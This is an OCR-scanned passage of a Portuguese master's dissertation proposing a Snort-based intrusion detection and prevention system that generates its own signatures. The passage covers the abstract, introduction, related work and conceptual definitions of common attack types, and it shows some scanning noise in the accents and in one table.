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RESUMO

Devido ao aumento constante da utilizacdo dos sistemas de informag¢do em todas as es-
feras da sociedade e o potencial impacto que intrusdes a esses sistemas podem causar, um Sistema
de Deteccdo e Prevencdo de Intrusio (IDPS) tornou-se uma necessidade para seguranga da infraes-
trutura de rede e servicos das mais diversas organiza¢des. Normalmente, esses sistemas dependem
de conhecimento prévio dos padrdes dos ataques para poder detecta-los. Este trabalho apresenta
uma estratégia adequada, utilizando exclusivamente software livre, para a deteccdo de intrusdes
em cendrios com escassez de recursos computacionais e financeiros. Esta proposta consiste na cri-
acdo de um IDPS flexivel e escaldvel que, com a integracdo de sistemas, implementacdo de regras
de correlacdo de alertas e um moédulo gerador de assinaturas para o Snort, pode-se aumentar a sua
eficdcia habilitando-o a produzir conhecimento para a prevencao da repeticao de ataques intrusivos
nao constantes de sua base de dados original. Assim, minimiza-se a problematica de detec¢ao des-
ses ataques. Para validar essa proposta, implementou-se um cendrio de testes com trés maquinas
servidoras, uma com o mddulo gerenciador da solucdo e outra com o Snort. Os resultados obti-
dos confirmaram que a estratégia atende aos quesitos propostos de maneira satisfatéria sendo uma
importante contribui¢c@o para as pesquisas sobre o tema.

Palavras-chave: Intrusdo. Deteccdo. Prevencdo.



ABSTRACT

Due to the constant increase of the use of information systems and the potential im-
pact that these intrusions can cause in all spheres of society a Intrusion Detection and Prevention
System (IDPS) has become a necessity for network ans services security from various world orga-
nizations. These systems usually depends of prior knowledge of the patterns of attacks in order to
detect them. This work presents an strategy to scenarios with computational and financial resour-
ces limited, using only opensource software for intrusion detection. This proposal is the creation
of one flexible and scalable IDPS, with software integration, implementation of alerts correlation
rules and a signatures generator module for Snort, that can increase its efficiency enabling it to
produce knowledge for preventing the recurrence of some intrusion attacks not constant in original
database, thus minimizing the detection problem for these attacks. To validate this proposal, a tes-
ting scenario was implemented with three server machines, one with the solution manager module
and one with Snort. The results confirmed that this strategy meets the proposed requisites in a
satisfactorily way being an important contribution to researchs about the theme.

Keywords: Intrusion. Detection. Prevention.
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1 INTRODUCAO

O lancamento do primeiro worm na Internet aconteceu em 1988 e a partir desse mo-
mento os problemas de seguranca de redes comecaram a ser levados a sério. Essa preocupagio
quanto a seguranca da informac¢do foi a motivagdo a ado¢do de um sistema para detectar essas

ameagcas ou intrusoes.

A ideia de um Sistema de Deteccdo de Intrusdao (IDS) foi introduzida em 1980 (AN-
DERSON, 1980). O conceito evoluiu e definimos um IDS como um componente que analisa o
sistema e operagdes de usudrio em um computador ou rede de computadores a procura de eventos

considerados maliciosos na perspectiva da seguranga (SODIYA, 2006).

Apesar de toda a pesquisa direcionada a drea de detecc¢ao de intrusao varios sao os pro-
blemas enfrentados pelos IDS. Um exemplo desses problemas € a crescente sofisticacdo dos ata-
ques e das ferramentas utilizadas pelos atacantes na tentativa de burlar os sistemas de seguranga,
obrigando as ferramentas de deteccdo de intrusdo a efetuar constantes atualizacdes contendo, a
cada versao, maior complexidade. Estas atualizac¢des refletem-se, muitas vezes, em novos algorit-
mos e novas arquiteturas. Além disso, a maioria das solu¢des de deteccao de intrusdes disponiveis,
baseadas em assinaturas, depende de conhecimento prévio dos padrdes de ataques, ndo sendo esta

uma caracteristica desejada para sistemas de seguranca (SILVA; MAIA, 2004).

Esta dissertacdo apresenta uma proposta de solucdo para o problema de deteccdo de
novas ameacas em um Sistema de Deteccao e Prevencao de Intrusiao (IDPS). Esta solucao € baseada
na utilizacdo de programas de computador de c6digo aberto, os quais interagem entre si para a
deteccao de ameacas ndo conhecidas em sua base de dados original. Esta interacdo compreende
a andlise e correlacdo dos alertas gerados pelas ferramentas e do trafego de rede coletado para a
extracdo de assinaturas de ataques e geracdo automadtica de regras. Para alcancgar esses objetivos

sdo utilizadas, em conjunto, técnicas de deteccao de intrusdo baseadas em anomalia e assinatura.

O principal componente em um sistema de Deteccdo de Intrusdo € o software de de-
teccdo. Ha vdrios softwares disponiveis, sendo o mais popular destes o sistema de c6digo aberto
Snort (TRUHAN, 2011), mantido pela Sourcefire I e criado por Martin Roesch 2. O Snort tem
se tornado um padrdo de fato em deteccio de intrusdo e estd incluido como componente principal
em varias solucdes comerciais de IDS (TRUHAN, 2011) sendo a principal ferramenta utilizada
neste trabalho para a qual hd a geracdo de regras. Este trabalho também utiliza as ferramentas
Prelude-IDS e OSSEC (SHIH-YITU; CHUNG-HUANGYANG; KOUICHI, 2009).

Este capitulo estd organizado como segue. A Secao 1.1 caracteriza o problema e apre-
senta a motivacdo para o desenvolvimento desta dissertacdo. A Secdo 1.2 descreve os objetivos

e a metodologia utilizada, enquanto a Se¢do 1.3 faz um comparativo entre este e os trabalhos re-

'Sourcefire Cybersecurity (http://www.sourcefire.com/)
ZMartin Roesch fundou a Sourcefire em 2001 e hoje é o diretor de tecnologia da empresa (Chief Technology Officer)
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lacionados na literatura. Em seguida, a Secdo 1.4 expde as contribui¢cdes e os resultados a serem

alcangados e, por fim, a se¢do 1.5 explana a organizacdo do restante desta dissertagao.

1.1 Caracterizacao do Problema e Motivacao

Em nossos dias, os computadores tornaram-se tendéncias culturais e as redes de com-
putadores sdo uma grande malha que agrega milhdes de maquinas interconectadas, oferecendo os
mais diversos servicos. Neste ambiente, cresce também a preocupacdo com a seguranca no espaco
cibernético. Por mais que adotemos as boas praticas de seguranca de redes de computadores, as
vulnerabilidades sempre existirio (SAXENA; SHARMA, 2010) e, da mesma forma, sempre exis-
tirdo ameacas para explord-las. Os computadores tém evoluido para facilitar o cotidiano de nossa
vida, seja na esfera profissional ou pessoal. Por isso sempre havera pessoas que tentardo explora-
los para os mais variados propoésitos e, muitas vezes, de maneira ilicita ou maliciosa (TRUHAN,
2011).

Este ambiente é um verdadeiro chamariz para um atacante ou intruso. Inimeros sao os
tipos de ataques aos quais estas redes sdo submetidas diariamente e um ataque bem sucedido pode
ser bastante prejudicial para uma organizacdo. Em geral, um atacante pode simplesmente testar
os seus conhecimentos, pode coletar informagdes, pode causar danos financeiros a empresa, pode
destruir os dados da organizacao, pode publicar informagdes sensiveis da empresa, pode utilizar a

estrutura da empresa para invadir outra, entre outras possibilidades.

Novos servigcos e novas configuragdes estao constantemente disponiveis, aumentando
as possibilidades de exploracdo de vulnerabilidades através de novas falhas de software, erros de
configuracdo ou mesmo a descoberta de falhas até entao desconhecidas. E neste contexto, e devido
ao acesso fécil a ferramentas e técnicas para atacantes, que uma infraestrutura de seguranca com

constante evolucdo se torna imprescindivel.

Nos anos de 2011 e 2012 uma série de ataques atingiu instituicdes publicas e privadas
no mundo fomentando investimentos na drea de seguranc¢a da informagdo pois podem causar sérios
problemas as estruturas dessas instituicdes (JUNIOR, 2012). Neste cendrio, sempre que o assunto
€ segurancga da informacdo, a sigla IDS, vinda do termo em inglés Intrusion Detection System, é

utilizada.

A maioria dos sistemas existentes depende de uma reacdo rdpida do administrador
para mitigar uma intrusdo. Além disso, na maioria das vezes, os logs do IDS s6 sdao consultados
depois de um ataque concluido com sucesso, no qual os danos para o sistema ja foram consumados
(SINGH; RAMAJUJAM, 2009).

Normalmente, a primeira atividade na busca pela seguranca de redes € configurar um
firewall, um sistema projetado para prevenir acesso nao autorizado de ou para uma rede de com-

putadores baseado em conexdes TCP ou UDP a nivel de camada de transporte (XI, 2011), com
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um conjunto de regras que impecam o acesso indevido de terceiros a determinados enderecos e
portas dos protocolos de rede. Porém, um firewall ndo tem a capacidade de analisar o conteudo
dos pacotes. Esta missdo é executada pelo IDS, que pode detectar o traifego malicioso que passa

pelo firewall através das portas correspondentes a servicos autorizados ou permitidos.

Na literatura € possivel encontrarmos alguns problemas em sistemas de deteccao de
intrusdo como, por exemplo: sobrecarga de recursos, falhas de seguranca do IDS, baixo desem-
penho, baixa escalabilidade e, principalmente, a alta taxa de falsos negativos e positivos (SINGH;
RAMAIJUJAM, 2009). Ainda, encontra-se que a ameaca de maior impacto é um atacante que
maliciosamente tenta acessar os dados ou servicos (THAKAR; DAGDEE; VARMA, 2010). Por
conseguinte, este trabalho debate-se sobre estas duas afirmag¢des no que pretende detectar e preve-

nir as ameagas de maior impacto diminuindo assim a taxa de falsos negativos.

1.2 Objetivos e Metodologia

O objetivo deste trabalho € propor uma solucao que faca com que o sistema de segu-
ranca acompanhe a evolucdo das redes e dos ataques através da apreensdo de novos padrdes de
ataques, diminuindo assim a taxa de falsos negativos e amenizando ameacas de grande impacto.
Utilizaremos como principal elemento do nosso sistema de seguranca o sistema de deteccdo de
intrusdo de cédigo livre Snort, cuja principal fraqueza é a incapacidade de detectar novas ameacas
(FANG; LIU, 2011). Esta dissertacdo explora como podemos atribuir conhecimento a um sistema
de detec¢do de intrusdo baseado no Snort através da detec¢do de anomalias no comportamento do
sistema, das informacdes colhidas do trafego de rede, das assinaturas de ataques conhecidos e de
alertas de outras ferramentas de seguranca, disponiveis em c6digo aberto, habilitando-o a detectar
estes novos ataques. Para alcancar este objetivo temos que: integrar estas ferramentas, codificar a
extracdo de assinaturas, codificar a geracao de regras para o Snort, implementar um mecanismo de
comunicacdo com o Snort para o carregamento dessas novas regras e elaborar regras de correlacio

de alertas de intrusio.

As necessidades de codificagdo foram supridas com cédigos na linguagem Java, ex-
ceto na elaboracdo de regras de correlacdo que utilizam Python devido ao aproveitamento de uma

estrutura de correlacdo previamente existente.

Esta estratégia € aplicavel, principalmente, em ambientes nos quais hd maior dificul-
dade ou lentidao no acesso as atualizacdes de seguranca e dificuldades financeiras, pois essa so-
lucdo pretende minimizar a necessidade de aquisi¢dao de hardware ou software proprietarios, bem

como, a compra das ultimas atualizagdes de assinaturas.
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1.3 Trabalhos Relacionados

Nesta secdo, alguns trabalhos relacionados com o problema abordado nesta disserta-
¢do, que utilizam ou ndo o Snort como principal ferramenta das respectivas soluc¢des, sao apresen-
tados. A Tabela 1.1 faz um comparativo entre esses trabalhos encontrados que utilizam o Snort
com a proposta desta solucdo. O restante desta secdo apresenta os pricipais trabalhos encontrados

sobre a problemdtica de aumentar a eficiéncia de um IDS sobre diversas abordagens.

— . Componente do | Extracio de _— L .
Citagio |Tipo de Ataque Snort Assinaturas Prevencio Cenario Base de Dados
Fang e Liu |Escaneadoresde - . . N SNNS (Stutt_gart
Preprocessadores Nio Nio Simulagio | Neural Network
(2011) Porta .
Simulator)
Todos Sim (Bloqueio
Xi(2011) | detectados pelo | Motor de Detecgio Nio de IP no Snort + iptables | Nao informado
Snort firewall)
Vollmeret | Pacotes ICMP - - .
al. (2011) Anémalos Preprocessadores Nao Nio Snort Proprio
) . . . . exploits
Tang (2010) Intrusao Motor de Deteccao Sim Nio Honeyd conhecidos
, Snort +
Gomez et al. Trafego - -
(2009) Anémalo Preprocessadores Nao Nio prepro'ces_s.ador KDD-99
proprio
Aickelin et - . . - Snort + regras
al. (2008) Intrusao Motor de Deteccao Sim Nao generalizadas KDD-99

Tabela 1.1: Trabalhos Relacionados

Das et al. (2010) utilizaram Rough Set Theory para preprocessamento e selecao de
dados e Support Vector Machine (SVM) para detectar intrusdes em rede baseadas em estatisticas
sobre o trafego de rede. Como trabalho futuro sugeriram o estudo para implementacao de algorit-

mos genéticos.

Thakar, Dagdee e Varma (2010) utilizaram Support Vector Machine para classificar o
trafego de rede e desenvolveram um componente baseado em redes neurais e lgica fuzzy para a

extracdo de assinaturas de ataques nos niveis das camadas de rede e transporte.

Roozbahani, Nassiri e Latif-Shabgahi (2009) instalaram vérias instancias do Snort
numa rede para formar uma arquitetura distribuida de detec¢do de intrusdo de tal maneira que essas
instancias trocavam informacdes entre si aumentando a taxa de deteccdo na rede e diminuindo os

falsos negativos.

Sodiya (2006) prop6s uma arquitetura denominada MSAIDS baseada em agentes im-
plementados em Java utilizando estratégias de mineracio de dados na identificacdo de a¢des intru-
sivas e como trabalho futuro sugeriu o uso de outras técnicas de Inteligéncia Artificial na imple-

mentacdo de um IDS.

Militelli (2006) construiu um IDS distribuido no qual a troca de mensagens era no

formato IDMEF e os seus agentes incorporavam-se as aplicacdes interceptando o trafego TLS ou
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SSL descriptografado e analisando-o antes de serem tratados pela aplicacgao.

Silva e Maia (2004) propuseram uma soluc¢do utilizando o programa Matlab baseada
em redes neurais testada sobre a base de dados da Knowledge Discovery and Data Mining Com-

petition 1999 (KDD Cup 1999) caracterizando cada conexdo por 41 variaveis.

Alguns dos trabalhos encontrados na literatura utilizam técnicas diversas de aprendi-
zado de méquina para detectar intrusdes no nivel dos preprocessadores do Snort, que serd explicado
na Secdo 3.1.1 deste trabalho. Outros utilizam uma base de dados desatualizada, do ano de 1999,
para avaliacdo dos resultados. No entanto, ndo foi encontrada na literatura uma solucio que ti-
vesse: integracdo de ferramentas, alertas de intrusdo em formato padronizado, geracdo automaética

de regras e prevencao de repeti¢do de ataques no nivel do motor de detec¢dao do Snort.

1.4 Contribuicoes e Resultados Esperados

A contribuicdo desta pesquisa se baseia na possibilidade de deteccdo e prevencao de
intrusdo no nivel da camada de aplica¢do, em um conjunto de dados de prova atualizado, em um
padrdo preestabelecido de mensagens de intrusdo, em uma solucio escaldvel e na interoperabili-
dade das ferramentas de seguranca utilizadas, permitindo uma colecao maior de informacoes de
intrusdo para a geracdo do conhecimento até entdo ignorado pelo sistema de seguranca. Cabe
ainda ressaltar a flexibilidade na escolha dos IDS de c6digo aberto utilizados devido ao padrao de
troca de mensagens. Isto permite a escolha de vérias solugdes de IDS, tirando proveito dos pontos

positivos desses sistemas, tendo-se em vista o cendrio no qual serdo instalados.

Os resultados esperados sao a identificacdo de assinaturas de novos ataques, geracao
de regras para o Snort que detectem estes novos ataques, aplicacdo dessas regras e prevencao de re-
peticdes bem sucedidas desses ataques, de maneira automdtica e sem a interven¢do humana. Estes
ataques que iremos identificar e bloquear estdo restritos nesta dissertacdo a ataques intrusivos nos
quais obtém-se acesso remoto as informacdes do computador da vitima, pois estes se enquadram

nas ameacas de maior impacto esperado, as quais caracterizam o problema abordado.

1.5 Estrutura da Dissertacao

O restante desta dissertacdo estd estruturado como segue. O Capitulo 2 traz a funda-
mentagdo tedrica necessdria para o entendimento do tema dessa dissertacdo. O Capitulo 3 apre-
senta as ferramentas de cddigo livre que foram instaladas e configuradas neste trabalho. O Capitulo
4 apresenta a solugdo proposta como um sistema Unico baseado em sistemas livres que interagem
entre si e um moédulo gerador de assinaturas desenvolvido para complementar a solucio e atingir
o objetivo esperado. O Capitulo 5 descreve o ambiente de testes elaborado para a andlise dessa
estratégia. O Capitulo 6 apresenta os testes realizados juntamente com os resultados alcancados e

faz uma avaliacdo da solucgdo. Por fim, O Capitulo 7 traz a conclusdo deste trabalho e sugestdes de



trabalhos futuros.
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2 ESCOPO DO TRABALHO

Este capitulo traz a fundamentacao tedrica necessaria para o entendimento do assunto.
Iniciamos o capitulo apresentando os conceitos de seguranca atinentes aos tipos de ataques mais
comuns que sofrem as redes de computadores e servirdo para delimitar o escopo dos ataques que
queremos detectar neste trabalho. A secdo seguinte traz os principais conceitos inerentes a um
sistema de deteccdo e prevengdo de intrusdo. Nesta se¢do, mais uma vez, delimitaremos os con-
ceitos que serdo utilizados na proposta desta dissertacdo. Por fim, a tltima secdo define o formato
de troca de mensagens de intrusdo utilizado na comunicagdo entre as ferramentas utilizadas. O
préoximo capitulo apresentard os sistemas de cddigo aberto que foram integrados para alcangcarem

0s objetivos propostos neste trabalho.

2.1 Conceitos de Seguranca
2.1.1 Vulnerabilidades

Segundo o CERT.br! vulnerabilidade é definida como uma falha no projeto, imple-
mentacio ou configuragdo de um software ou sistema operacional que, quando explorada por um
atacante, resulta na violacdo da seguranga de um computador. Pela propria defini¢do, percebe-se
que as vulnerabilidades ndo se localizam somente nos cédigos fonte, mas também em sistemas mal
configurados, nos quais o administrador mantém as configuragdes padrio e, ainda, ndo atualiza o

sistema aplicando os patchs de correcdes de seguranca eventualmente disponibilizados.

Existem situacdes nos quais um software ou sistema operacional instalado em um com-
putador pode conter uma vulnerabilidade que permite sua explora¢do remota, ou seja, através da
rede de computadores. Portanto, um atacante conectado a Internet, ao explorar tal vulnerabilidade,
pode obter acesso ndo autorizado ao computador vulnerdvel. Sendo estes tipos de ataques, nos
quais o atacante maliciosamente tenta acessar os dados ou servigos, a ameaga de maior impacto
em um sistema de computador (THAKAR; DAGDEE; VARMA, 2010).

Para diminuir a exposicdo de vulnerabilidades, deve-se manter em execuc¢ao somente
0s servigos estritamente necessarios. Quanto menos servi¢os no ar, menos portas abertas, menos
codigo, menos bugs, menos riscos a seguranga. Deve-se manter o sistema operacional e servigos

sempre atualizados, principalmente se a atualizagc@o disponivel for relativa a seguranca.

2.1.2 Coédigos Maliciosos

A Cartilha de Seguranca para Internet do CERT.br é um documento que contém reco-

mendagdes e dicas sobre como o usudrio pode aumentar a sua segurancga na Internet. Esta cartilha

ICentro de Estudos, Resposta e Tratamento de Incidentes de Seguranca no Brasil, http://www.cert.br
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¢ utilizada nesta sec@o como base para a tipificacdo de c6digos maliciosos juntamente com os 10

maiores riscos de seguranca em aplicagdes web listados no projeto OWASP? Top Ten.

Os atacantes podem usar varias maneiras diferentes para alcancar o objetivo de inva-
dir ou afetar um sistema. Cada uma destas maneiras representa um caminho diferente ou uma
sequéncia de etapas diferentes para chegar ao objetivo. Alguns desses caminhos sdo simples de
encontrar e explorar apenas pesquisando na Internet. Porém, as vezes, esses caminhos sdo bastante

complexos.

A Figura 2.1 mostra um diagrama cldssico de um ataque nos quais o atacante explora
uma vulnerabilidade tentando subverter os controles de seguranca para obter acesso ndo autorizado

impactando tanto nos ativos de rede quanto nos negdcios institucionais.

Agentes Vetores Brechas de Controles de Impactos Impactos
de Ameaca de Ataque Seguranga Seguranga Técnicos Organizacionais
% Quummp s = 2@ Afaque L> Brecha ®= '+Cnnirola+ L Impacto
—— :
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A
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Figura 2.1: Diagrama de um Ataque de Rede
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Fonte: Adaptada de https://www.owasp.org/index.php/Top_10_2010-Main

Por exemplo, a execu¢do de scripts em servidores web permitindo a execugdo de co-
mandos remotos configura-se em uma vulnerabilidade do servi¢o na qual o atacante pode ter €xito
em executar comandos especificos e obter um shell da maquina configurando um acesso ndo au-
torizado. A partir deste momento, o atacante pode executar remotamente comandos de sistema
diretamente na maquina vitima categorizando o impacto de seu ataque. Neste tipo de intrusdo, o
atacante executa suas acoes com as permissdes do usudrio dono do servico. Por este motivo, ndo
€ recomendado executar um servico como root ou administrador do sistema. Mesmo nos casos
onde o servigo € executado por um usudrio sem privilégios, o atacante pode obter informagdes
do computador, obter informag¢des da rede, pode atacar outra maquina (CHAKRABARTTI; CHA-
KRABORTY; MUKHOPADHYAY, 2010), pode escrever nos diretdrios que tenha permissao, pode
escalar privilégios, entre outras possibilidades. Os administradores de rede devem certificar-se que
0s servicos nao sejam executados com permissdes de root e estar atentos as atualizagdes de segu-

ranga disponibilizadas para os seus sistemas.

Os servicos podem ter vulnerabilidades que passam desapercebidas durante o processo

20pen Web Application Security Project é uma organiza¢io mundial sem fins lucrativos focada em melhorar a
seguranga de softwares, em especial os softwares baseados na web
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de desenvolvimento e testes do sistema, ou mesmo so serdo conhecidas em um momento futuro.

As estagdes de trabalho ou computadores pessoais estdo mais propensos a sofrer uma
intrusdo bem sucedida do que um servidor de rede, pois os usudrios, em geral, ndo tém o conheci-
mento, habilidade, experiéncia e nem as ferramentas ideais para impedir ou detectar um compro-
metimento. Por outro lado, os servidores de rede oferecem uma grande gama de servicos de rede
aumentando a sua propria exposi¢ao aos atacantes. Porém, normalmente, tém alguns mecanismos

de seguran¢a implementados.

A seguir, serdo definidos alguns dos termos mais utilizados com relacdo a ataques

hackers ou c6digos maliciosos.

e Buffer Overflow

Buffer é um espaco de enderecamento em memoria reservado para a utilizagdo de uma varid-
vel. Um estouro de buffer ou buffer overflow acontece quando o tamanho fisico da varidvel
em memdria extrapola o tamanho do buffer reservado. Este tipo de acontecimento pode so-
brescrever area de cédigo da aplicacdo ou endereco de retorno das fungdes substituindo a
sequéncia de execucdo natural por dados da varidvel. Estes dados serdo entdo interpretados
como instru¢des e, normalmente, geram uma excecao em tempo de execucdo que trava a
aplicacdo, caracterizando uma negacao de servigo, termo definido posteriormente. Ainda,
um atacante pode manipular estes dados para que gerem uma sequéncia de instrucdes ma-
liciosas de seu interesse e retorne a execugdo para um outro ponto qualquer da memdria.
Nessa situacdo, o atacante pode se valer de qualquer outra técnica de ataque para tirar pro-
veito do sistema atacado. As vulnerabilidades de buffer overflow sao consideradas criticas
no ponto de vista da seguranca, apesar de ser bem conhecida e possivel de ser evitada em
tempo de desenvolvimento com a validag¢do de todas as entradas de dados no cédigo fonte.
No entanto, em sistemas muito complexos ou com programadores inexperientes, normal-
mente se esquece de tratar alguma possivel entrada de dados atribuindo uma vulnerabilidade

ao sistema em desenvolvimento.

e Exploits

Exploit € um termo genérico para descrever pequenas partes de cddigo executdveis que sao
projetadas para explorar uma vulnerabilidade especifica de um sistema. Estes pequenos
cddigos executdveis podem tanto ser executados isoladamente ou serem inseridos no c6digo
de programas. Esses exploits, que podem ser de utiliza¢do local ou remotos, variam muito
quanto a sua forma, a linguagem de programacdo e ao poder de ataque. Geralmente hd um
diferente exploit para cada tipo de servigo, para cada tipo de vulnerabilidade ou para cada

tipo de sistema operacional.

Alguns utilitarios de detec¢dao de vulnerabilidades, por exemplo, incorporam uma base de
dados de exploits conhecidos e durante as andlises verificam se o servico para o qual o

exploit foi projetado esta ativo e na versao vulnerdvel. Caso positivo, simula um ataque
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utilizando aquele exploit. Outras ferramentas utilizadas para testes de penetracdo também

tém uma base de dados de exploits disponivel para o usudrio.

o Trojans

Os trojans sao uma forma de intrusdo na qual o atacante faz com que a vitima execute um
c6digo malicioso dentro de um aplicativo conhecido, por exemplo, aproveitando-se de vul-
nerabilidades de um navegador. Este c6digo malicioso pode executar quaisquer comandos
do usudrio: pode-se criar um usudrio do sistema, habilitar um servigo, passar um shell para
0 atacante ou abrir uma porta na maquina local. Este tipo de c6digo malicioso € o mais uti-
lizado em computadores pessoais, principalmente porque estes computadores normalmente
ndo oferecem servicos de rede, ou seja, ndo tém uma porta de entrada para ser explorada e

0s usudrios, por vezes, ndo percebem ou nao detectam sua execucao.

Os trojans sao mais comuns em sistemas Windows. Porém, existem também para sistemas
Linux e outros sistemas. No caso do Linux, os trojans sao conhecidos como rootkits, softwa-
res que exploram um conjunto de vulnerabilidades conhecidas para tentar obter privilégios
de root na maquina vitima. Uma vez instalado, um rootkit pode alterar arquivos bindrios do
sistema, instalar novos médulos no kernel e, normalmente, apagar seus rastros no sistema
de maneira que seja indetectdvel ndo aparecendo na lista de processos ou nao aparecendo na

lista de mddulos do kernel ou apagando os logs.

e BackDoor

Um backdoor normalmente € o resultado de um ataque anterior no qual o atacante conseguiu
executar c6digo na vitima e abriu uma porta de acesso. Por esta porta, o atacante pode ter
acesso a um shell da miquina sempre com os privilégios do dono do servigo explorado. Nao
obstante, € possivel que o atacante consiga escalar privilégios e obter um acesso de root.
Existe também a possibilidade do atacante utilizar um backdoor reverso no qual a conexdo
¢ estabelecida pela vitima numa maquina comprometida ou de dominio pelo atacante carac-
terizando uma conexao de saida da vitima. Normalmente, o atacante utiliza conexdes em
portas de protocolos conhecidos que sdo liberadas por padrdo no firewall. Um backdoor
continuard permitindo acesso ao sistema mesmo se a vulnerabilidade deixar de existir, isso

se 0 seu cddigo nao for removido.

e Phishing

Este tipo de ataque ndo se baseia em exploracdo de vulnerabilidades de sistemas, mas em
vulnerabilidades de usudrios. Os ataques de phishing utilizam técnicas para tentar ludibriar
o usudrio a revelar informagdes sigilosas tais como senhas, nimeros de CPF, numeros de
cartdo de crédito, enfim, quaisquer informagdes que possam ser utilizadas em proveito do
atacante, ou até mesmo transferir valores diretamente para uma determinada conta. Para
atingir este objetivo, sdo utilizados e-mails ou paginas eletronicas falsas com o intuito de

que o usudrio acesse determinada pagina eletronica ou preencha um formulério forjado, por
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exemplo, simulando a pagina de um banco. Por ser fécil de aplicar, ndo requerer a explo-
racdo de uma vulnerabilidade especifica de sistema, por ser menos susceptivel a detec¢do e
resultarem normalmente em um ganho financeiro, os ataques de phishing sdo bem comuns.
Muitos dos e-mails de phising sdo detectados como spams pelos sistemas anti-spams ou

mesmo pelos sistemas das provedoras de correio eletronico.

Outro tipo de phising muito comum € o envio de comentdrios nas redes sociais com direci-
onamentos a paginas eletronicas forjadas nas quais acontece a obtencdo de informacdes por

parte do atacante.

Ataque de negacao de servico (Denial of Service - DoS)

Os ataques de negacgao de servi¢o ndo sao intrusivos, ou seja, ndo tém o objetivo de invadir
um sistema, mas torna-lo indisponivel. Este tipo de ataque ndo explora uma vulnerabilidade
de seguranca de um sistema. Explora os recursos de um sistema que podem ser a largura de
banda da Internet, a memoria do sistema, a capacidade de processamento, limite de cone-
x0es simultaneas ou qualquer outro recurso de hardware ou software que seja limitado. Por
exemplo, um servidor web recebendo um volume muito grande de requisi¢des de diferentes
IPs supostamente validos a uma pagina gera um trafego de rede de retorno que pode saturar
o enlace de dados ou mesmo consumir os recursos da maquina, travando o servico. Nao
obstante, por exemplo, controles quanto ao nimero de requisi¢des de paginas por unidade
de tempo podem ajudar a controlar o consumo de recursos do sistema evitando o travamento
do mesmo, porém nao evita a saturagdo do enlace ou, pelo menos, dificulta pois diminui o

trafego de saida do servidor.

Outro exemplo de DoS, alguns servigos de hospedagem de paginas estabelecem uma cota de
trafego mensal a seus assinantes. Um atacante, sabendo disto, provoca um trafego de rede
pesado e constante de maneira que essa conta se esgote antes do final do més, tornando o
sistema indisponivel. Outro exemplo € utilizar-se de um mecanismo de controle de acesso
que bloqueia o login em um servidor SSH depois de 3 tentativas de acesso sem sucesso.
Neste cendrio, um atacante pode bloquear o acesso dos usudrios tornando indisponivel para

os usudrios legitimos o acesso ao servidor SSH.

Um ataque de negacdo de servico, quando executado por mais de uma maquina, recebe a
denominacdo de ataque de negacdo de servigo distribuido (DDoS). Um ataque distribuido
pode utilizar-se de centenas de milhares de miquinas simultaneamente e de localizacdes
geograficas distintas, fato esse que torna este ataque muito mais dificil de conter, sendo ne-
cessario o controle do trafego nas prestadoras de servigo de acesso, as quais teoricamente
tém uma largura de banda maior que o enlace dos servidores. Em ataques DDoS, normal-
mente utilizam-se as botnets que nada mais sao do que um nimero muito grande de maquinas
comprometidas que se comunicam com um controlador central aguardando instrugdes para
executar. Estas mdquinas infectadas continuam desempenhando suas tarefas normalmente

de maneira que o usudrio da maquina nio perceba que ela estd comprometida e que pro-



28

vavelmente participard de um ataque. No inicio do ano de 2012 ataques DDoS nas quais
as instrucdes para os ataques foram passadas em uma rede social e executadas manualmente
por ingenuidade ou cumplicidade dos usudrios nao configurando o comprometimento da ma-
quina que participou do ataque e sim do préprio usudrio®. As botnets também sio utilizadas

para envio de spams e podem ser alugadas *.

e Injecao de SQL (SQL Injection)

Ataques de Injecao de SQL sdo executados em aplicagdes vulnerdveis que permitem a execu-
¢do de consultas SQL arbitrarias diretamente no servidor a partir das telas do usudrio. Uma
simples medida para mitigar este tipo de ataque € estabelecer validacdes nos formularios de
entrada de dados proibindo a inclusdo desse tipo de cédigo. Existem ferramentas automa-
ticas que verificam a vulnerabilidade de enderecos eletronicos a Injecdo de SQL, variando
os parametros passados numa requisicdo HTTP e testando as combina¢des mais comuns de

injecdo de codigo SQL. A partir destas ferramentas, popularizou-se este tipo de ataque.

e Pichacao (Defacement)

Um defacement é um tipo de ataque a um servidor web no qual algumas de suas péaginas sdao
desfiguradas ou alteradas. Normalmente, o objetivo desse tipo de ataque € de cunho politico
ou simplesmente por ego do atacante que publica seu feito na Internet. Porém, pode ser
utilizado também para instalar rootkits, obter informacdes, etc. O método mais comum de
defacement utiliza injecao de SQL para obter acesso ao servidor. Nestes ataques, normal-
mente o atacante obtém acesso nao privilegiado tendo os privilégios do dono do servigco web
de escrever nos diretérios das aplicacdes. Pode ainda inserir arquivos remotamente através
da prépria aplicacdo ( Remote File Inclusion ) ou escrever no banco de dados sem a devida

autorizacao.

e Vulnerabilidades Desconhecidas (Zero-Day)

Zero-Day € uma vulnerabilidade desconhecida do sistema, para a qual ainda ndo existem cor-
recoes. Um IDS como o Snort, por exemplo, nao terd em sua base de dados uma regra para
identificar a exploracdo dessa vulnerabilidade nao detectando tal atividade. Para que passe
a detectd-la, deve ser criada, disponibilizada e aplicada uma nova regra pelos mantenedores
da ferramenta. Da mesma maneira, os desenvolvedores do sistema vulneravel devem dis-
ponibilizar um patch de correcao de seguranca. Geralmente, isso leva um tempo razodvel,
0 que torna todas as instancias do sistema vulnerdveis por mais tempo. Como € uma vul-
nerabilidade desconhecida, o primeiro ou os primeiros ataques sao extremamente eficazes e
prejudiciais.

Este trabalho tem como foco detectar e prevenir os ataques as vulnerabilidades zero-days

que podem ser de qualquer tipo de ataque, bastando que o seu mecanismo seja desconhecido

3http://tecnoblog.net/89002/ataque-anonymous-ddos-megaupload/
“http://idgnow.uol.com.br/seguranca/2008/08/22/brasileiro-preso-na-holanda-por-alugar-rede-bot-sera-
extraditado
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para caracteriza-las.

Na parte pratica deste trabalho, no Capitulo 6, serdo percebidos os conceitos de Buffer

Overflow, Backdoor, Exploits e Zero-Day.

2.2 Sistema de Deteccio e Prevencao de Intrusao

Um sistema de detecc¢do de intrusao (IDS) é o software que automatiza o processo de
detectar uma intrusdo. A primeira geracdo de sistemas projetados para deteccdo de intrusdo so-
mente fazia sua funcio de deteccdo e ndo tinha contra-medidas implementadas. Em evolucdo a
essa situacdo, a prevenc¢do de intrusdo tornou-se uma caracteristica extra. Assim, os fornecedores
de IDS com mecanismos de prevencdo introduziram a abreviatura IPS (Sistema de Prevencao de
Intrusdo) na tentativa de distinguir seus produtos dos anteriores. Desde que uma prevencdo de
ataque requer antes alguma forma de deteccdo, um IPS deve ter incluido também em suas fun-
cionalidades a detecc@o de intrusdo. Dessa combinacdo de funcionalidades surgiu uma terceira
